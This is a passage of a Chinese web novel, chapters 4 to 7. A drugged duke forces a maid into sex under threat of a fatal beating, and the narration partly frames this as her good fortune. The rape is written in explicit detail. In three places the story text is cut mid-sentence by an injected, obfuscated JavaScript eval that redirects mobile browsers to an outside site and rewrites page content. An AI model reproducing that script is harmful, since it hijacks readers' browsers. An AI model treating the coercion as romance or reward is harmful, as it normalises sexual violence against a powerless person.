“如王爷所言，家中大喜，不宜大动干戈。”等老祖宗生日一过，再和那婢子算账。 来至一处凉亭，萧绝比手示意恭王先行一步。恭王也道“请”，就此结束这个话题。 4. 第四章 那婆子把柳薇提溜到伙房外，长出一口气：“你是三天两头惹是生非，不是触怒国公爷，就是触怒敬和公主。我也是佩服你，你本事真大。” 柳薇吓得魂不附体，两腿发软，勉强支持着说：“我触犯了敬和公主，我是不是又要挨板子了……？” 婆子说：“谁知道？” 刚好伙房里有人看见她们回来，便喊婆子快点进来帮忙。婆子答一声，睃一眼柳薇，道：“别愣着了，进去干活吧！要是耽误了开席，咱们这伙人，全得遭殃！” 这倒是实话，服侍不好老祖宗，当下人的吃不了兜着走。柳薇逼着自己停止胡思乱想，跟随婆子进去。 杨嬷嬷还问呢，找个人，怎么去了这么长时间？柳薇含糊带过。杨嬷嬷觉着古怪，但眼下没再追问。 万幸没有延误开席时辰，各色菜肴准时呈上饭桌。 虽然敬和的猫丢了，又因为柳薇动了肝火，敬和却顾及萧老夫人的颜面，没有一走了之，一直待到了傍晚散席那会。 而萧老夫人也并不知晓那些不快，乐乐呵呵接受大家的祝福，度过一个圆满的生日。 散席后，主子辈的只管抬脚走人，残局通通留给奴仆辈的收拾。 杨嬷嬷被叫去处理残羹剩菜了，伙房里柳薇与另一个丫鬟洗盘子。饶她们动作还算麻利，面对堆积如山的脏盘子，直到月亮爬上头顶才洗完。 今天宴席结束得迟，各处上房吩咐下来，晚饭便省了，叫下人们自己吃就是。 赶上老祖宗的好日子，灶上烧了大鱼大肉，犒劳大伙儿。忙碌一整日，柳薇饥肠辘辘，可那些美味，她一样没碰，只寻见掌勺的吴嬷嬷，赔笑询问，能不能给她下一碗面，如果不方便的话，她可以自己来。 吴嬷嬷奇了，笑问：“放着好吃好喝你不要，光要一碗面？你是不是累昏头了？” 柳薇垂下眼帘，声音低低的：“今天……也是我的生日。往年在家里，这一天，我娘都会下厨给我煮一碗长寿面。” 看她一个小姑娘，埋着头请求，可怜兮兮的样子，吴嬷嬷心硬不起来，回头去舀了面粉，一面说：“你只吃这个，不饱。我给你打三个鸡蛋，再配两个牛肉馅儿饼，你好好地吃了。待会这里的活儿，你不必做了，早点回屋歇息吧。” 柳薇举目，忙道谢，并表示自己留在这打下手。 吴嬷嬷说：“你快出去等着吧，留下来倒给我添乱。” 柳薇心存愧疚。 以前家里宽裕，也有几个下人照顾她起居；后头没落，遣散下人，阿娘也没舍得使唤她，她要主动分担家务，阿娘也只许她干些轻省的。哪里像现在，每天一睁眼就在脏活累活里摸爬滚打。 她刚进来的时候，极其不适应，处处出错，吴嬷嬷说她添乱，分毫不错。 柳薇忍下酸涩，悄悄出去，找个偏僻的角落等吴嬷嬷叫自己。 春菱和杨嬷嬷一前一后过来，柳薇见状，立即起身相迎。 春菱扔一个白眼，转身去和相好的丫鬟们坐下吃饭。 杨嬷嬷则抿一抿嘴，走近柳薇。昏黄的灯笼下，她愁眉苦脸，眼睛里隐隐约约泛着水光。杨嬷嬷顿时关心道：“怎么不去桌上吃饭，倒在这蹲着？” 柳薇并不隐瞒，说了缘故。 杨嬷嬷略定了定，说让她先等等，然后进了厨房。不一会，拎着个食盒出来，交给她：“长寿面和馅儿饼在里边，这里冷风吹着，不如你回房里，慢慢儿地吃。” 上回兴师动众地处置她，给她落下个勾引主子未遂的坏名声，下人堆里越加不待见她。那么这种场合，索性避开，回自己屋子，细嚼慢咽，安安静静地过个生日。 杨嬷嬷是为她设想。 柳薇明白自己当前处境艰难，更能领会杨嬷嬷的良苦用心，万分感动，双手接住食盒，笑道：“那嬷嬷多吃点，我先回去了。” 今年不比往年，生日没有阿娘的陪伴，冷冷清清的，哪里能开心得起来。柳薇心事重重地走在道上，猝不及防旁边闪出个人影，和她胸口齐平，穿着桃粉色袄子，头上梳着两根辫子，俨然是三房的三姑娘萧瑶。 这位三姑娘比别个调皮，经常在府里跑来跑去，连柳薇这种低阶丫鬟也眼熟她。 柳薇赶紧停住，福身劝道：“夜深了，三姑娘快请回去吧，免得使三老爷三夫人担心。” 萧瑶手背在身后，不理她的劝告，只仰头盯着她，问：“今儿个是老祖宗的八十大寿，人人喜气洋洋，为什么你看起来不高兴？” 柳薇强颜欢笑道：“天黑，三姑娘看错了吧……我挺高兴的。” 见她咧嘴笑了，萧瑶移目向她手上的食盒：“你手上提的什么好吃的？” 柳薇才要接言，萧瑶却指着前面大喊：“呀，有个白白的东西一下子闪过去了！” 那么一下，柳薇也瞧见了，说：“好像是个大猫。” 她忽然记起来，白日敬和公主弄丢了猫，发动人到处找寻，而那只猫就是白色的。 萧瑶说：“哦！咱们家没有谁养的白猫，那就是敬和公主的猫了。好不容易看见了，你跟我去，把它追回来！” 萧瑶心肠热，性子急，撂下话就跑开了。这大黑天的，她一个小姑娘，身边又没跟着其他大人，柳薇不放心，提上食盒去撵。 那猫狡猾得很，胆子还小，她们穷追不舍，它便飞檐走壁地逃。这七拐八绕的，柳薇迷了路，忙忙唤住萧瑶：“三姑娘，您先停停……” 萧瑶站住，巡视四周，柳薇走去她身旁，打量着前面，有湖有亭，应该是到哪个园子里来了。 受身份限制，柳薇能活动的地方就那么大点，是以偌大国公府，她十分陌生。眼下心里没底，小心翼翼地问萧瑶：“三姑娘可知道这是什么地方吗？” 萧瑶道：“当然知道了，这是五哥哥的院子的后花园。” 萧瑶口中的五哥哥，恰恰是萧绝，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125166|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在国公府孙子辈中排行老五。 柳薇思索片刻，反应过来所谓五哥哥指谁，骤然煞白了脸，手上无力，食盒一歪，汤汤水水随之洒了下来。 汤淋着手背，还有温度。柳薇慌忙兜正食盒，摸在盒子缝隙上，手心油花花的——吴嬷嬷没少往臊子里添油。 “很晚了，三姑娘，还是快离开吧！万一搅扰了国公爷……”私闯萧绝居所，一旦被发现，后果不堪设想！ 萧瑶不以为意，气定神闲道：“没事的，五哥哥很疼我的，不会怪罪我的。等把猫捉到了，就走，可能都不会惊动五哥哥，你不用急急燥燥的。” 萧瑶是萧绝最小的妹妹，萧绝疼惜她，她自然有恃无恐。可柳薇不一样，作为奴才中的奴才，身上还系着开罪敬和公主的错事等着被处置，再闯祸，她就该以死谢罪了。 “三姑娘，我不比您，国公爷哪怕一个眼神，我也担待不起……”柳薇几乎哭了，“就回去吧，行吗？” 及欲搭理她，前方传来一声猫叫，怕说话的工夫猫再溜了，萧瑶便不予回应，循声拔腿而去。 柳薇进退两难，到底是豁出去追人了。 不过犹豫一会，柳薇便跟丢了。好端端的三姑娘在自己面前没了踪迹，最后追究，一定追究她。恐惧之下，她沿着路，一边搜寻，一边呼唤萧瑶。 逶迤寻至一处，坐落着三间竹屋，竹屋正前方蓄着一片池塘，月光照下来，水面黑得发亮；再看那一排竹屋，门窗里透出灯光，显然是有人在。 难不成三姑娘躲那里了？ 柳薇揣测着，举步上前。蓦然，一阵风自耳际刮过，掠来人声： “爷，您是感觉热？是不是上火了？要么我抓紧去叫府医来吧！”这音色口吻，竟像是韩大管家。 “……不必。你打些凉水来，我泡一泡，凉快凉快。”柳薇霎时屏住呼吸，顿在原地。如果说前一个声音她不能确认是否是韩大管家，那现下这个声音，已然深深地嵌进了脑海里——是萧绝！ 柳薇一刻不敢逗留，萧瑶究竟在不在里头，也不管了，掉头就走。 萧绝面色极为难看，东良心里不安，又请示需不需要唤府医来查看，萧绝却揉着眉心摆手，意思是去办，别再废话。 “是。”东良不敢磨蹭，躬身屈膝出去，刚刚好逮住柳薇的残影，“站住！” 柳薇脊背一震，呆怔着，心中不停默念：糟糕糟糕糟糕…… 东良快步赶上，看真切是柳薇，皱眉盘问：“你何故到这来？” 柳薇从头到尾，一五一十交代。 柳薇是出了名的老实，不会扯谎，东良信她的说辞，回头向屋里瞄了一眼，指了条明路：“此处不是你该来的，你麻溜离开，我就当没见过你。看到那边的路没有？你顺着它，一直走，就能出去了。” 柳薇连连点头，再三感恩。正准备走，萧绝却在屋子里问：“是什么人胆敢擅闯？东良，把人带进来。” 5. 第五章 竹屋中，陈设简单，一床一柜，一桌一椅。萧绝便正襟危坐在那椅子上，傲视前方，冷峻开口：“抬起头来。”他倒要看看，是谁胆大包天，夜闯此地。 逼问中，柳薇几乎魂飞魄散，咚的一下跪倒，额头伏地，手中的食盒亦坠翻在地，一股汤汁缓缓流泻。 “奴婢不是有意的！奴婢是和三姑娘一起，三姑娘要寻猫，跑出去，奴婢一时没追上，这才昏头昏脑地来了这里……”柳薇牙关打颤，语无伦次，“求国公爷开恩，饶奴婢一条生路吧！” 东良垂首，替她解释几句：“爷，是这样：三姑娘自个儿出来，道上遇着柳薇，正说话间，敬和公主白天走丢的猫蹿了过去。三姑娘古道热肠，叫上柳薇要替敬和公主找回猫，追着追着，就到……” 萧绝打断东良：“我在问她，几时问你了？” 萧绝算是个有耐心的人，下人犯了错，也尽可能了解清楚再行处置，奈何今夜古怪，傍晚时候和恭王吃了杯酒，回来的路上，就感觉不对，体内燥热难安，纵他耐力过人，眼下也有些压制不住。偏又有个奴才，深夜打扰，不知死活，更加剧了内心的烦乱，于是给了心腹东良难堪。 东良连忙打住，将头再低几分，尽显卑微。 “你，抬起头来。”萧绝道。 听得出，萧绝的声音里裹着恼怒。柳薇不敢违逆，艰难地把头从地上“拔”起来，露出一张脸，接受上位者的审视。 粗略一看，那是一副怯生生的面容，眼里含泪，牙咬嘴唇；进而细看，皮肤粗糙，面色黑黄，但就是这张不起眼的皮子，上面镶着双杏眼，水汪汪中漂浮着无辜。 又是她。 两个月前，她违反宵禁出门游逛，被他抓着；白天，冲撞敬和，又被他抓着；现在，得寸进尺，居然冲到他的地盘撒野。 三番五次，屡教不改，她还有脸装无辜扮可怜？ 萧绝森森一笑：“本想等今日过了再与你算账，你却是迫不及待，闯进我眼皮子底下来了。” 柳薇方寸大乱，脊背拱起来，以额贴地，瑟瑟发抖，颤声乞求：“求国公爷网开一面，留奴婢一条贱命……奴婢一定感恩戴德，做牛做马报答！” 萧绝正准备发落了她，体内猛地涌上一股躁动，冲乱了气息，乃至令他无法安坐。 东良虽低着头，可他的职责就是时刻关注主子的情况，是以他偷偷地挑起目光，只见萧绝微微后仰着脖子，眼睛半闭不闭，似有迷乱之色。 东良心下一紧，当心试问：“爷，您脸色很不好，要不小的去叫府医过来吧……？” 一波一波的热浪升腾澎湃，冲击着萧绝的理智，他再忍受不得，换了个姿势，微微俯下身姿，用手扶额。他先命令柳薇去门外跪着，听候处置；然后授意东良去请人过来。 东良身负重任，走得匆忙，柳薇紧着他，等他去了，方才起身。 来时拎着的食盒栽在地上，染得一片狼藉。柳薇心想，原样放着，绝对会加深那位对自己的不爽，还是快快收拾了，免得多挨一份打。 于是小心翼翼地扶正食盒，剩下的汤水，她也没带抹布，没法儿讲究，只得牺牲自己衣袖，戳入那滩污渍里，横着竖着擦拭干净，方才抱着食盒以及湿漉漉的袖子，屈膝退走。 萧绝的五感敏锐，柳薇蹲在那里狼狈拾掇，又狼狈退出，萧绝尽然收入眼底。 笨手笨脚，笨嘴拙舌，真是个蠢奴才。 正值冬季，朔风四起，呼啸在耳畔。 柳薇顾不上冷，她揭开食盒盖子，看见坨成泥的面条儿，万分遗憾，万分内疚：吴嬷嬷的心意，就这样糟蹋在她手里了。 继续揭开下一层，两个馅儿饼完好无损，依稀散着香气。她咽了口唾沫，由衷庆幸饼没事。心中舒坦了一些。 “就是那些症状。看着也不像伤寒，竟不知是怎么了。” “光听下来，拿不准主意，必须上手把了脉，才敢下定论。” 前面东良引着府医走过来。柳薇忙不迭盖上盖子，推开食盒，挺直腰板，跪有跪相。 路过时，府医扫一扫柳薇，相当纳闷：才医好没两天，怎么又在这跪上了？ 东良让府医进屋。萧绝依然维持适才的坐姿。 刚搭上脉，府医惊愕不已，口中惊呼：“爷身上好烫！”不夸张地说，和碳烧着了没两样！ 东良闻之深锁眉眼，愁得不得了。 依次探过左右手的脉，府医沉思半日，五官挤在一块，颇为难为情道：“这脉象，倒像是中了毒……” “中毒？！”东良满脸惊讶，“谁吃了熊心豹子胆，敢给国公爷下毒？” 东良一惊一乍的，府医跟着心惊肉跳。缓了口气，道：“并非寻常认知中的毒，是秦楼楚馆里，专用在男女情事上的毒……” 府医偷窥萧绝，他低眉敛目，难以揣测所思所想。 府医收起窥视，隐晦道：“中此毒者，只要寻得一人……便可解毒。” 主子安危在前，东良没工夫矫情，直接问：“那过后有没有遗留的风险？” 府医道：“没有。这东西虽然叫毒，可本就是出自烟花柳巷，用来助兴的，只是发作起来难受，远没到残害人命的地步。等兴头过了，一切就好了。” 为保险起见，东良再三确认解毒之法，及完事后的状况。府医一一答疑。 总而言之，找个女人来，让萧绝尽情释放，就妥了。 不敢立即打发走府医，东良暂时安排他出外面候着，随即询问萧绝的意思：“不能再耽搁了。爷，您指个人，我速速带过来，您先解毒要紧。” 猝不及防地，萧绝一脚蹬飞了桌案。噼里啪啦的声响中，他怒斥道：“竖子周挺，焉敢算计到我头上来！” 恭王姓周，名挺。 下午料理完敬和的乱子，恭王邀请萧绝去湖心亭中小酌一杯。之后便唤来他随身的两个侍女，捧上酒来，他指着酒夸夸其谈这酒的来历。萧绝盛情难却，兼不以为意，浅啜一盅。 恭王谄媚劝饮第二盅，萧绝以不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125167|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜酒力为由，拒绝。恭王又挽留他多坐片刻，彼此叙话，而他耐心已尽，懒得逢场作戏，与之告别。 国公府里的人，敬畏萧绝，断乎不敢毒害他。那么，思来想去，可疑之物就是恭王奉上的那杯酒——恭王阿谀奉承，不惜使下作手段，勾他动欲，顺势献上美人。 东良退避一侧，思索一会，恍然大悟，暗骂恭王没脑子，既巴望着讨国公爷的欢心，倒不如开门见山，直接征求国公爷的允许，到底是收不收那两个美人。万万没料到，做出这种下流事来。好歹是一个王爷，太不成体统。 这回弄巧成拙，害国公爷备受煎熬，过后国公爷必不能轻易饶了他，真真儿自作自受。 萧绝震怒归震怒，东良仍得考虑他的身体，硬着头皮说：“当务之急，是快找个人来……爷，家里那么多丫鬟，您瞧谁顺眼？我立马去办。” 府上众多丫鬟，清秀的美艳的可爱的，色色不缺。而今是国公爷不慎遭人暗算，不得不拣一个来解燃眉之急，被指名道姓那个，且偷着乐吧，今晚过了，抬个妾室，从此衣食无忧，对外也是个体面人。换作平日，国公爷不近女色，门儿都没有。 萧绝今年二十四，按他的年纪，合该妻妾成群、儿女遍地，然则他绝非流连女色之辈，他的野心，尽在权势上。因此，他后院空虚，甚至禁止婢女近身伺候。日常起居，八成托由东良，剩余二成，亲力亲为。 既无心美色，府里哪个丫鬟顺眼，萧绝自然没有着落。 气氛一时沉默下来。 静默之间，地上有处油腻引起了萧绝的注意，那是方才柳薇拽着袖子鬼鬼祟祟擦过的地方。 她倒是努力得满头大汗，结果马马虎虎。 “那个屡教不改的丫鬟叫什么？”萧绝发问。 “回爷的话，是叫柳薇。”答完，东良不自禁往门口瞟去，隐隐约约可见一道笔直久跪的影子。 萧绝拂袖背转过去，冷冷道：“带她去隔壁，洗刷干净后，滚过来伺候。” 反正是一味解药，就近选择就是。 即使是一味解药，也须洗得干净清爽，萧绝才能用得下去。 柳薇在门外老实跪着，竖耳听着门里斥骂，又听着桌子四分五裂的声响，这时已然煞白了脸；怎料继续听见萧绝问东良她的名字，还说什么要她洗干净滚去伺候……她登时浑身僵住，气儿也不敢出了。 萧绝中了毒，必须要和人……可，可为什么选她呀！ 他不是要罚她吗？为什么会发展到这个份上？ 惶惑时，东良开门出来说：“柳薇，国公爷有吩咐，你跟我来。” 东良的出现，唤醒了内心的恐惧。柳薇结结巴巴道：“我、我不行的，我真不行……韩大管家，您是个大善人，请您替我求求国公爷，另换个人吧！” 未及东良呵斥她噤声，门突然从里边掀开，一个大手直伸至柳薇脖子后头，揪着她后衣领，将她掳了回去。 接下来是“砰”的一声，门关了起来，严严实实。 6. 第六章 柳薇是被扼着后颈拖进屋里的。甫一入内，只觉眼前天旋地转，视线确切下来时，背已然抵上了墙壁，生冷坚硬。但这些与面前的相比，实在是小巫见大巫——萧绝就在对面，巍峨耸立，凌厉的眼神死死摄着她的脸。 “你是我府里的下人，我拿你一用，你却推三阻四。”他的语气寒气逼人，声线却在微小地颤动着，“……别不识抬举，柳薇。” 凡事从他嘴里吐出来的话，威慑力十足，何况他指名道姓警告。柳薇腿都软了，假如不是陷在他的包围中，估计得跌到地上去。 将撑墙的胳膊放下来，萧绝闭了闭眼，发布命令：“把衣裳脱了，转过去。” 药效凶猛，萧绝真切感觉，躯体连着头脑，几近炸了，容不得他挑三拣四的，甭管脏的臭的、肥的瘦的、黑的白的，他必须去排解，刻不容缓。 有形的桎梏松解，即时降临的，是致命一击：萧绝令她脱了衣裳，转过去……他要开始了。 固然柳薇卑微如尘埃，可在清白上，一丁点不曾含混，要她在一个男人眼皮子底下脱衣，她做不出来。 非但做不出，兼而捂紧衣襟，苦苦哀求他：“奴婢不敢，也不能……国公爷就高抬贵手，放过奴婢吧……奴婢到死也会感激您的大恩大德的……” 让她背过去，正是烦她睁着两个圆眼睛，哭哭啼啼、可怜兮兮的模样。现下又来这套，萧绝耐心全无，皱起剑眉，下最后通牒：“你听话服侍，今后保你荣华富贵；否则，视为刁蛮不逊，按家法，当从重发落。” 上次仅仅是远远地碰上他，便得了四十大板，险些命丧黄泉。这次，从重发落，怎么个从重？想必是活活儿被打死的下场吧…… 萧绝完全没有吓唬她，也不屑吓唬她一个奴才，他是真的下得去手。 一想起水深火热中的阿娘，柳薇便明白，这层衣裳，保不住了。 “是……”柳薇伸手，从外到里，一层层剥开衣衫，只剩下亵衣亵裤。她羞赧欲死，再没勇气仰头承受萧绝的眼神凌迟，深深地低着头，眼眶里水雾氤氲。 “背过去。”男人一边吩咐，一边宽衣解带；他扔开衣袍，独独留下腰带，给予柳薇，“害怕的话，覆到眼睛上。待会不准哭，也不准叫，听清楚了么？” 柳薇捧着那云纹锦带，很重，乃至把她的腰压弯压折了。她顺从他的话，转过去，举手系在眼睛上，眼前霎时漆黑无光。 紧张与恐惧的交错中，一个手掐在了腰上，同一时间，另有一个手，扯下亵裤。柳薇不由自主地向前面一闪，手肘趴在墙上，将最难以启齿的一面暴露在外。 萧绝高高在上，俯视万物——柳薇的背、柳薇的腰、柳薇的腿……同她的脸不同，她身上很白，很瘦，他的影子，可以轻而易举地笼下整个她。 她无助、可怜、狼狈。 萧绝分神一想：此后，便抬她做个侍妾罢了。他的侍妾，何其荣光，这是也她的造化。 收敛思绪，萧绝驱身，慷慨地赏她这场造化。 没有任何甜言蜜语，注定了艰涩难行。饶萧绝一鼓作气，终归难以畅快，不得已清心寡欲起来。 柳薇脆弱得忘记了他刚刚的告诫，伏在墙上，哽咽道：“疼……” 萧绝十分不爽：“忍着。” 他不是容易善罢甘休的人，纵然风雨在前，偏要迎难而上。 他在强人所难，堪堪搅碎了柳薇，她忍不住要躲，却被他当场抓住。 “我疼得快死了……”她在呜咽，在一寸寸僵化，直至坚若磐石、刀枪不入。 萧绝无从施展，动了怒，一把给她翻过来，摁着她肩膀，将她摁到土崩瓦解，双膝塌陷在地板上；继而捞起她下巴，扯开蒙眼的衣带，让她沐浴在明与暗的交界中。 彼此近在咫尺，触手可及，柳薇毛骨悚然，本能地转头逃避，但再度被萧绝遏止。 “不要试图挑战我的耐心。”他握住她下颌骨的手，渐渐用力。 下位者是不配有尊严的。 所以作为上位者，萧绝高高伫立，钳制着她，藐视她，玩弄她，践踏她。 这般不容置喙的姿态，柳薇不是第一次见了。 大半年以前，混账爹叫来人牙子，围着她，上上下下地打量，旋即咧嘴一笑，夸她果然随了她娘，身材苗条，身段轻盈。 而后又停在她面前，伸手来握她的脸。她抗拒，混账爹则在一旁高声呵斥：“你作死啊？不要乱动了！如果毁了我的好盘算，我跟你没完！” 混账爹是会动手打人的，像她娘，有几次被打得鼻青脸肿，也不敢垂泪，那样他会变本加厉，再一顿毒打的。 她替她娘打抱不平，曾顶撞过他两次，果不其然，惹得他暴跳如雷。最后，她蹲在地上，抱着肩膀，听他唾沫星子乱飞，受他毫无顾忌的痛打。 人是会被打怕的。 柳薇没再反抗，呆傻着，依着人牙子左右审视，又依着张开嘴，人牙子要看看她的牙口，是不是符合年龄。 那些记忆尤新，如今只不过是换了个场景。 而萧绝的权威顶得上千千万万个人牙子，她除了忍气吞声，别无他法。 于柳薇而言，从始至终拥堵、煎熬、窒息；于萧绝而言，起初是灼热的，中间是肿胀的，末尾是舒适的。 柳薇不安生，数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125168|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次想逃，均为萧绝的大掌按住后脑勺，无情囚于一隅。 不知过了多久，他总算慈悲一回，拿开手掌，解除禁锢，随便柳薇脱身，匍匐在地，干呕不断。 柳薇的外衫就卸在一侧，上头悉数点染着萧绝的气息。 一整天没吃什么东西，任凭柳薇狂呕，也呕不出什么来。萧绝见状，昂首去拾自己的衣服，边说：“从明日起，你来我院子里……” 一语未尽，熟悉而微妙的情绪卷土重来，比之方才，强烈更甚。萧绝猛地站住，口里骂了句“该死”。 看样子，今晚不真正和柳薇纠缠，是过不去了。 萧绝的意思，柳薇顾不上琢磨，她堪堪爬起来，捡起自己的衣裳，不管上面沾着油渍或是旁的，慌忙往身上遮掩。 既然他顺畅了，她的任务也结束了，没有留恋的必要。 孰承想，才将衣服抖开来，就有一个强有力的手横在腕骨上，眼中随即压下一副阴郁的容颜：“再来。” 不容分说，萧绝拽着她直往书案那里去。三步并两步，到了跟前。 他说：“躺下去。” 柳薇登时湿了眼眶：“您不是已经……” “别废话。”过来的时候，萧绝顺手拿了那衣带，正好派上用场——他亲手，蒙住了她的双目。（只是蒙个眼睛，怎么了呢？） 置身黑暗中，柳薇丧失了方向感，没有任何安全感可言，只得杵在原地，一动不敢动。 药力使然，萧绝浮躁不已，干脆推她躺倒。 彷徨间，柳薇伸手乱抓一气，可算抓住了一样东西，捏在手心，温暖而坚实。她分辨出来，原来是萧绝的手臂。（抓住的是胳膊，不是别的！） 她如惊弓之鸟，慌乱松手。撤手返回的途中，毫无征兆撞上了一大片炽热。这触感，分明是萧绝的胸膛！（是胸膛，胸膛是热的，有问题吗？） “国公……” “闭嘴。”她的声音，不会起好作用，光会使萧绝益加暴躁。 柳薇忍辱遵从，死咬着嘴唇忍耐。 她涉世不深，不通人事，轻易一撩拨，早已酥的酥、麻的麻，生生成了砧板上的鱼肉，待人宰割。 时机成熟，萧绝全神贯注，趁势而为，果然再无阻碍。 从头到脚，从身到心，彻彻底底……他化身为刽子手，一刀一刀将她割得四分五裂。 她不折不扣地变成了他的傀儡。 窗外，北风咆哮。 这个深冬的夜，格外漫长。 混混沌沌时，柳薇胡乱想着，自己恐怕要在十七岁的生日里，在这间屋子里，在萧绝的掌控下，粉身碎骨了。 7. 第七章 东良他们侍奉萧绝日久，早已有了非礼勿视非礼勿听的默契，早早地退避至远处，两人闲聊。 起初，还有话题可言，但随着时间的推移，东良掐指一算时辰，不觉忐忑问府医：“小一个时辰了，还是那样……不会出什么事情吧？” 就算国公爷精力旺盛，可这么久了，换个牲畜来，恐怕也顶不住吧！ 府医人至中年，身板又矮瘦，在寒风里吹了这许久，堪堪冻僵了，只好不断地摆臂踮脚活动。听东良心有不安，他搓着肩膀，瑟瑟道：“是那毒的缘故，它原就是壮阳的，平常那些个不举的，吃了它且如狼似虎，况且国公爷年富力强。没什么大碍，就多等等吧。” 东良才接上话，房子里传出萧绝的声音：“来人。” 东良叫上府医赶快去回话。 及到门口，想着里头才完事，可能两人还没穿好衣裳，东良二人便多留了个心眼，没贸然推门，只是东良隔着门询问：“爷，您可是要热水？我已经提前另叫人烧了，那让送过来？” 萧绝一时没支应，他在一心二用，慢条斯理穿戴衣物的同时，瞥着瘫在墙角的柳薇，说：“待会有人送干净衣裳过来，你洗完换上，回你住处提前收拾了东西，明日一早你到我院子里来当差。” 他一言九鼎，承诺了她予她妾位，然他要纳妾，即便是个微不足道的妾，也得先去老祖宗跟前说明。 本来几句话的事，无奈临近年关，那小皇帝乳臭未干，靠不住，朝廷大事小事一大堆，全等着他拿主意；再者，恭王暗算他这事，也不能轻拿轻放了。故此接下来至少半个月，他都没空，姑且先给个准话，让柳薇过去再做打算。 萧绝和柳薇一样是初次，但完全是两种光景：萧绝毒性解除，身心愉悦，精神抖擞；柳薇呢，饱经风吹雨打，只剩下一丝魂儿了。 饶是这般凄惨，萧绝放话下来，她也必须撑起膝盖，毕恭毕敬答话：“奴婢，遵命……奴婢，谢国公爷抬爱……” 府里的下人，争着抢着去萧绝院里伺候，她有几斤几两，敢在得了他的“恩典”后，道一个不字。 她的亵衣亵裤被萧绝撕碎了，没了遮蔽的东西，她现在赤条条地俯首躬身，露出大片又薄又细的脊背。 萧绝树立高位，不费吹灰之力地看见往下她腰那段，围着两个红手印，是他亲手烙下的。 目之所见，无不揭示着过去一个时辰的失控与狂乱。 萧绝冷静地收起视线，拂袖迈步，开了门，安排东良侍候柳薇，自回前面院中书房。 东良使唤两个小厮抬了浴桶热水去隔壁，再打发个丫头，捧着一套新衣敲开门，搀扶柳薇去隔壁沐浴更衣，他则适时回避。 东良差遣的丫头，是在后园子照顾花草的，名叫春雨，和她一般大，也是个本分守己的。东良想，两个老实的凑在一起，应当合得来。 果然春雨不像别的丫鬟，对柳薇十分尊重，把她从地上扶起来，给她披了衣裳，皱着眉头关心她：“柳姑娘，您有没有哪里不舒服？有的话，您告诉我，韩大管家给了药膏子，等会洗好了，我给您搽了。” 从来是柳薇尊称人家“您”“姑娘”，眼下倒是从别人口中听见了这个字眼，柳薇恍恍惚惚一阵，客气地笑道：“咱们是一样的身份，你不用敬着我，叫我柳薇就好了。” 东良把春雨招来时嘱咐过，柳薇不日便是国公爷的侍妾，叫她不可怠慢。春雨牢记在心。不管柳薇怎么平易近人，身份隔着呢，她绝对不敢放肆，尽管谦卑道：“不一样的，柳姑娘是国公爷的人，正经主子过来也要谦让您三分，我又算个什么，怎么敢直呼您的名字。” 国公府里，老祖宗之下，就是萧绝，哪怕是他房里的阿猫阿狗，所有人也得让着。柳薇跟了他，做一个妾，也不妨碍体面得很。 春雨把柳薇捧得高高的，柳薇一点开心不起来。 对着春雨，对着外人，她得了萧绝的青眼，今后全是风光日子。可，只有她自己知道，她充其量是萧绝的一个玩物，随意摆布，肆意欺辱。他会管他底下猫猫狗狗好不好受，却不会管她的死活……她连个玩物都算不上。 “你不肯改口，那随便你吧。”柳薇惨淡一笑，不再强求。 洗澡的时候，柳薇忍痛，坚持掰开双腿，一遍遍清洗着，试图将他遗在体内的东西弄干净。 春雨看见，连忙阻止：“柳姑娘，您这是做什么？您还肿着，快不要弄了，当心疼得厉害！” 柳薇咬牙不语。 她身上全干净了，春雨便扶她出浴桶，请她去后面的长凳子上坐，上面铺了软垫，容易坐。 “柳姑娘，我把药膏子拿来了，我先给您涂脖子上的，再涂腰上的。”那时，萧绝防止柳薇躲闪挣扎，又掐她脖子又掐她腰，致使这两处淤青，佐证他确实心黑手狠。 处理完看得见的伤痕，春雨请她慢慢打开两腿，那地儿更为惨重。 柳薇死活不乐意，非要自己上药。她已经在萧绝眼前尊严扫地了，再向春雨敞开，被凝视着，她承受不住。 春雨不好驳她，却也没走，远远地在窗户底下候着。 一方面真疼，一方面恐惧来日的处境，柳薇忍不住，洒下热泪。 听着动静，春雨忙来安慰：“能到国公爷身边服侍，是旁人求之不得的好事。将来再生下个一儿半女的，姑娘后半生就有靠了。姑娘，不要伤心了。”劝罢，取来衣裳，“这里不暖和，待久了小心生病。我伺候姑娘穿衣回房吧。” 木已成舟，啼哭无用。柳薇擦干眼泪，配合春雨穿戴整齐，出门向东良告辞。 瞧她眼眶肿肿的，指定是因为方才之事大哭了一场，东良看破不说破，但叮嘱她：“国公爷才交代了，后面有事要忙，柳姑娘明日直接来找我，我为姑娘安排去处。” 柳薇心中不是滋味，一刻不愿逗留，道了声谢，与春雨并肩离去。 